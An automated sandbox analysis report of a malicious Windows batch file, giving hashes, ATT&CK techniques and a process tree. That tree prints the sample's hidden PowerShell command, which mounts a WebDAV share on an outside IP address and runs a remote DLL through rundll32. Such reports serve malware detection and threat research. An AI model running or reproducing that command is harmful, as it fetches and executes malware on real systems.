9f06a0d8c8aeaf97ddca6e6715fe9412b7d2bc6cc1576994be5df321fea58119

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 06:16

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General

Target

836025193255744191.bat
Size

2KB
MD5

2f80d632d3d77741f5bea3cb72f8a1cf
SHA1

86277ad9ceadc9fcc4dd5917ae9d9540f831c727
SHA256

9f06a0d8c8aeaf97ddca6e6715fe9412b7d2bc6cc1576994be5df321fea58119
SHA512

c4890839a504af795f63888ae9833ba7b4f85efba38a87fc5078c85fa30675d1f3c64760eb10db1fd874e568fb4d576b565a0a8e221f0f105793be857d7fe4ba

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2836	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2836	powershell.exe
2836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
800	wordpad.exe
800	wordpad.exe
800	wordpad.exe
800	wordpad.exe
800	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 528 wrote to memory of 800	528	cmd.exe	85
PID 528 wrote to memory of 800	528	cmd.exe	85
PID 528 wrote to memory of 2836	528	cmd.exe	87
PID 528 wrote to memory of 2836	528	cmd.exe	87
PID 2836 wrote to memory of 3604	2836	powershell.exe	89
PID 2836 wrote to memory of 3604	2836	powershell.exe	89
PID 2836 wrote to memory of 924	2836	powershell.exe	90
PID 2836 wrote to memory of 924	2836	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\836025193255744191.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:528
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3263.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3604
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3263.dll,entry
    3⤵
    PID:924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gfgpojgq.pbz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2836-0-0x00000203EB390000-0x00000203EB3B2000-memory.dmp

Filesize
136KB

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